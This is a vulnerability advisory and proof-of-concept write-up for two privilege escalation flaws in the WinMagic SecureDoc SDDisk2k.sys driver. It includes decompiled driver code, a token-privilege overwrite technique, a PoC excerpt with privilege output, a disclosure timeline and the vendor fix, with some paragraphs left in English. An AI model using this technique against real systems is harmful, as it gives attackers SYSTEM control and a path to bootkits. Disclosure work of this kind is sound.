
Technischer Bericht über und PoC-Exploit für CVE-2020-11519 und CVE-2020-11520
Datum: Juni 2020
Autor: Dennis Elser (Code: github)
Gemäß seiner Webdarstellung ermöglicht Winmagic SecureDoc „Unternehmen, die Sicherheit ihrer IT-Umgebung effizient zu verwalten, unter Nutzung von Funktionen wie: Full Disk Encryption (FDE), Multi-Faktor-Authentifizierung, Removable Media Container Encryption (RMCE) und File and Folder Encryption (FFE). Diese Funktionen helfen Unternehmen, die Sicherheit zu erhöhen, Geschäftsrisiken zu mindern und behördliche sowie gesetzliche Anforderungen an die Festplattenverschlüsselung zu erfüllen."
Das Winmagic SecureDoc-Produkt, das in eigenständigen und Enterprise-Editionen erhältlich ist, ist in den Versionen 8.3 und 8.5 von zwei lokalen Privilegieneskalations-Schwachstellen betroffen (CVE-2020-11519 und CVE-2020-11520). Nachdem die Schwachstellen Ende März an Winmagic gemeldet worden waren, veröffentlichte der Anbieter Mitte Juni 2020 einen Patch (Version 8.5SR2). Es stellte sich jedoch heraus, dass dieser Patch die Schwachstellen nur unzureichend behob, was auch Version 8.5SR2 anfällig für die gemeldeten Fehler machte. Obwohl technische Details zu den Schwachstellen aus diesem Grund zurückgehalten wurden, sind die Fehler seitdem als öffentlich bekannt zu betrachten. Laut Anbieter befand sich ein weiterer Patch noch in der Pipeline, etwa 106 Tage nach der ersten Schwachstellenmeldung an Winmagic. Am 15. Juli, 111 Tage nach der ersten Schwachstellenmeldung an den Anbieter, veröffentlichte Winmagic SecureDoc v8.5 SR2 HF1 für Kunden, das Berichten zufolge CVE-2020-11519 und CVE-2020-11520 behebt. Versionen von SecureDoc älter als 8.3 wurden nicht getestet, können aber basierend auf dem Code der betroffenen Komponente ebenfalls als betroffen angenommen werden.
Eine erfolgreiche Ausnutzung einer der Schwachstellen führt bei lokal authentifizierten Angreifern zu einer Privilegienausweitung auf SYSTEM.
Beide Schwachstellen betreffen die Komponente „SDDisk2k.sys", einen Kernel-Treiber, der mit dem Winmagic SecureDoc-Produkt ausgeliefert wird. Die Sicherheitslücken wurden mittels manueller statischer Analyse mit Hilfe des Hex-Rays IDA Pro Disassemblers und Decompilers identifiziert. Rückblickend hätten die Schwachstellen mit deutlich geringerem Aufwand entdeckt werden können, wenn stattdessen dynamische Testansätze wie Fuzzing angewendet worden wären. Dies liegt daran, dass der Treiber von eingeschränkten Benutzermodus-Anwendungen angesprochen werden kann und standardmäßig davon ausgeht, dass deren Eingaben wohlgeformt sind.
Aufgrund der unsicheren Erstellung eines „SecureDocDevice"-Geräteobjekts durch den Treiber „SDDisk2k.sys" und des Fehlens von Code, der einen geeigneten Sicherheitsdeskriptor einrichten würde, erhalten selbst eingeschränkte Benutzerkonten die Möglichkeit, mit der API-Funktion CreateFile() ein Handle auf das Gerät zu erlangen. Indem der Treiber einer Benutzermodus-Anwendung ein Handle auf sein Geräteobjekt gewährt, öffnet er damit einen direkten Pfad zu seiner Angriffsfläche im Kernel-Bereich.``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }
Nach der Reverse-Engineering einer Reihe von IOCTL-Service-Handlern des Treibers "SDDisk2k.sys" wurde festgestellt, dass einer von ihnen kritische Funktionalität für den Benutzermodus bereitstellt, indem er Lese- und Schreibvorgänge auf den Rohdatenträgersektoren eines beliebigen Laufwerks ermöglicht – und das absichtlich. Darüber hinaus wurde bei der Interaktion mit ebendiesem Code festgestellt, dass der Treiber alle exklusiven Sperren ignoriert, die möglicherweise zuvor auf einem Laufwerk gesetzt wurden. Infolgedessen werden gleichzeitige Lese-/Schreibvorgänge ermöglicht, was Race Conditions begünstigt und Datenverlust riskiert.
Das Folgende zeigt den dekompilierten IOCTL-Service-Handler des Treibers, der für die Bearbeitung von Leseanforderungen roher Datenträgersektoren zuständig ist. Er ruft eine Funktion sub_29CD4() mit einem Argument "controlled_buf" auf, bei dem es sich um einen Zeiger auf einen Puffer handelt, dessen Inhalt von jeder aufrufenden Benutzermodusanwendung beliebig gewählt werden kann:``` c
if ( ioctlcode == 0x8D1F2824 ) // <--- I/O control code for raw disk reading functionality
{
controlled_buf = (unsigned __int8 *)controlled_addr;
mode = 0;
temp_result = sub_29CD4((char *)controlled_buf, v3, mode); // <--- call to raw disk read function
Tatsächlich ist dieser vom Angreifer kontrollierte Puffer eine Struktur, deren Felder "offset", "length" und "ptr_buf" vollständig ungeprüfte Funktionsargumente sind, die an einen Aufruf von IoBuildSynchronousFsdRequest() übergeben werden. Die letztgenannte Funktion bereitet ein IRP_MJ_READ I/O-Anforderungspaket (IRP) vor, das sie mithilfe eines Aufrufs von IofCallDriver() an den zugrunde liegenden Dateisystemtreiber sendet:``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode
// advance pointer p = controlled_buf + 1;
// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
|| (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
// extract further fields from structure
offset = *(_QWORD *)(p + 0x4E); // <--- where to start reading from
length = *(_DWORD *)(p + 0x56); // <--- number of bytes to read
ptr_buf = *(void **)(p + 0x5A); // <--- ptr to destination buffer
devobj = DeviceObject;
StartingOffset.QuadPart = offset << 9;
KeInitializeEvent(&Event, NotificationEvent, 0);
// build request
v17 = IoBuildSynchronousFsdRequest(
(unsigned int)(mode != 0) + IRP_MJ_READ, // <--- issue read request
devobj,
ptr_buf,
length << 9,
&StartingOffset,
&Event,
&IoStatusBlock);
v18 = v17;
if ( v17 )
{
v19 = v17->Tail.Overlay.CurrentStackLocation;
if ( mode )
v19[0xFFFFFFFF].Flags |= 0x10u;
ObfReferenceObject(devobj);
// send request to respective device object (issue read request)
v12 = IofCallDriver(devobj, v18);
//[...snip...] }
Just like reading raw disk sectors, writing disk sectors from user mode is made possible by calling IOCTL handler 0x8D1F2820, which processes the same data structure and is implemented in a similar fashion. Given compatibility with this driver's protocol, there is nothing that will prevent arbitray user mode applications from completely compromising the Operating System. Unless protected by a secure boot mechanism, this even includes installation of software that is allowed to run as early as during the system's boot process (ransomware, bootkits, custom implants...).
### CVE-2020-11520
Further examination of the "SDDisk2k.sys" driver's service handlers revealed that memory addresses from user mode applications are processed without prior validation. In some cases, memory accessed by these pointers is blindly written to by the driver, which can be abused by attackers to create kernel write primitives. Whereas all of the write primitives allow direct control of **where** to write data to, unfortunately none was found that'd allow direct control of **what** data to write. With the exception of [CVE-2020-11519](#cve-2020-11519), whose exploitation in this context would require an additional detour through disk read/write operations, which is something I consider a dirty approach and thus wanted to avoid. However, one particular handler was identified that admittedly didn't allow the data itself to be controlled but still turned out to be good enough for being repurposed by other means.
The below decompiled code shows the driver's service handler for IOCTL code 0x8d1f282c. It takes a 16bit integer number "count" from a user-controlled buffer, then ensures it won't exceed a certain limit. Finally, a pointer "dst" is acquired from the very same controlled input buffer, but isn't ever going to be checked for validity before it is passed as an argument to a subsequent call to memmove(). To my initial disappointment, the "src" buffer that is passed as an argument to memmove() isn't controlled but instead points to a hardcoded string ("FRNSecureDoc v4.1\0"), which limits its usefulness for exploitation to a certain degree. Obviously, this service handler writes a version identifier into a user-specifiable address, which may just as well be abused for fingerprinting vulnerable versions of Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c
// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);
// if count is zero, return error
if ( !count )
{
*((_WORD *)controlled_buf + 5) = 0x13;
goto leave_dispatcher;
}
// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
count = 0x11;
// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4; // <--- 'FRNSecureDoc v4.1',0
// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;
However, having this fully controlled "dst" address point to a suitable location in kernel space repurposes this IOCTL handler and turns it into a kernel write primitive. With reference to [1] and [2], calling this service handler with "dst" pointing to the kernel address of a process' token, or more precisely, to its "Privileges" member at offset 0x40, might lead to escalated privileges :)```
0: kd> dt nt!_token ffffe40955f766b0
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
[...snip...]
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000
Die SEP_TOKEN_PRIVILEGES-Struktur ist eine Reihe von Bitmasken, bei denen jedes einzelne Bit ein Berechtigungsflag darstellt. Als logische Konsequenz sollte die freundliche Aufforderung an den SecureDoc-Treiber, Teile seines Versionsstrings "FRNSecureDoc v4.1\0" in die SEP_TOKEN_PRIVILEGES-Struktur eines Prozess-Tokens zu speichern, einige Bits umdrehen und hoffentlich nützliche Berechtigungen aktivieren, zumindest hypothetisch. Wie sich herausstellt, werden durch das Speichern der ersten beiden Zeichen des Versionsstrings an den Offsets 1 und 2 des "Present"-Feldes der SEP_TOKEN_PRIVILEGE-Struktur eine Reihe interessanter Token-Berechtigungen gesetzt. Das '**F**'-Zeichen aus "**F**RNSecureDoc v4.1\0" entspricht 01000110 und setzt daher Bit 9 (SeTakeOwnershipPrivilege), Bit 10 (SeLoadDriverPrivilege) und Bit 14 (SeIncreaseBasePriorityPrivilege) des "Present"-Feldes. Das '**R**'-Zeichen entspricht 01010010 und setzt Bit 17 (SeBackupPrivilege), Bit 20 (SeDebugPrivilege) und Bit 22 (SeSystemEnvironmentPrivilege):
| Bit-Nr. ("Present") | Zeichen | Byte | Berechtigung |
| :--------------: | :-------: | ------------ | --------- |
| 8 | 'F' | 0100011**0** | SeSecurityPrivilege |
| 9 | 'F' | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10 | 'F' | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11 | 'F' | 0100**0**110 | SeSystemProfilePrivilege |
| 12 | 'F' | 010**0**0110 | SeSystemtimePrivilege |
| 13 | 'F' | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14 | 'F' | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15 | 'F' | **0**1000110 | SeCreatePagefilePrivilege |
| 16 | 'R' | 0101001**0** | SeCreatePermanentPrivilege |
| 17 | 'R' | 010100**1**0 | **SeBackupPrivilege** |
| 18 | 'R' | 01010**0**10 | SeRestorePrivilege |
| 19 | 'R' | 0101**0**010 | SeShutdownPrivilege |
| 20 | 'R' | 010**1**0010 | **SeDebugPrivilege** |
| 21 | 'R' | 01**0**10010 | SeAuditPrivilege |
| 22 | 'R' | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23 | 'R' | **0**1010010 | SeChangeNotifyPrivilege |
## Proof-of-Concept Exploit
Ein [Proof-of-Concept-Exploit](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) wurde in Python entwickelt und mit Hilfe des [Microsoft-WinDbg-Kernel-Debuggers](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk) an einer x64 Windows 10 VM debuggt.
Dieser PoC-Exploit erhält die Kernel-Adresse des Sicherheitstokens des aktuellen Prozesses und aktiviert unter anderem die SeDebugPrivilege-Berechtigung durch Ausnutzung der beschriebenen Schwachstellen. Anschließend wird eine Befehlsshell gestartet, die die neu erhöhten Berechtigungen des Tokens erbt.
Wenn das SeDebugPrivilege-Flag gesetzt ist, wird es möglich sein, Shellcode in den Kontext eines SYSTEM-Prozesses zu injizieren und auszuführen – diesen Teil überlasse ich jedoch Ihnen ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
print("[!] Could not get address of token")
sdi.close()
return
print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()
os.system("cmd.exe")
Um das Risiko für die Daten anderer zu vermeiden, enthält die öffentliche Version dieses PoC-Exploits keinen aktiven Code zum Lesen/Schreiben von Rohdaten-Sektoren mittels CVE-2020-11519. Dennoch kann es leicht in einen Installer für jeden Code umgewandelt werden, den Sie in Ihrem Bootsektor ausführen möchten, wenn Aufrufe der Funktionen disk_read_raw() und disk_write_raw() hinzugefügt werden. Was halten Sie davon, stattdessen eine Runde Tetros zu installieren und zu spielen, als Alternative zur Installation von Implantaten? ;)
Das Folgende zeigt die Token-Berechtigungen des aktuellen Prozesses vor bzw. nach dem Ausführen des Proof-of-Concept-Exploits.``` C:\Users\re>whoami /priv
Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
C:\Users\re>python3 sd_poc.py
EoP PoC for WinMagic SecureDoc 8.5
[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\re>whoami /priv
Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
Der PoC-Exploit-Code ist [hier](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py) zu finden. Er zielt auf v8.5 von Winmagic SecureDoc x64 ab, könnte aber auch auf älteren Versionen funktionieren (nicht getestet).
Falls du es bis hierher geschafft hast, aber immer noch extrem gelangweilt bist, kannst du gerne den IOCTL-Code 0x8D1F2848 wählen ;)``` c
case 0x8D1F2848:
DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
if ( *(_WORD *)controlled_buf == 0x55AA
&& *(_QWORD *)(controlled_buf + 2)
&& *((_WORD *)controlled_buf + 5) == 4 )
{
StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
if ( !StartContext )
{
KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
}
DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
*StartContext = **(_DWORD **)(controlled_buf + 2);
if ( PsCreateSystemThread(
&ThreadHandle,
0x1FFFFFu,
0i64,
0i64,
0i64,
(PKSTART_ROUTINE)sub_23948,
StartContext) < 0 )
ExFreePoolWithTag(StartContext, 0);
else
ZwClose(ThreadHandle);
}
2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)
## Lösung
Aktualisieren Sie auf Winmagic SecureDoc v8.5 SR2 HF1.
## Prüfsummen
| Dateiname | Version | Hash (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |
## Referenzen
1. [Missbrauch von Token-Berechtigungen für LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Ausnutzen von CVE-2014-4113 unter Windows 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [Einfache lokale Windows-Kernel-Ausnutzung](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [Ich habe 99 Probleme, aber ein Kernel-Pointer ist keins](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [Ausnutzen von durchgesickerten Prozess- und Thread-Handles](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [Sourceforge-Diskussion zum Aufruf von NtQuerySystemInformation mit ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [Versionshinweise zu SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)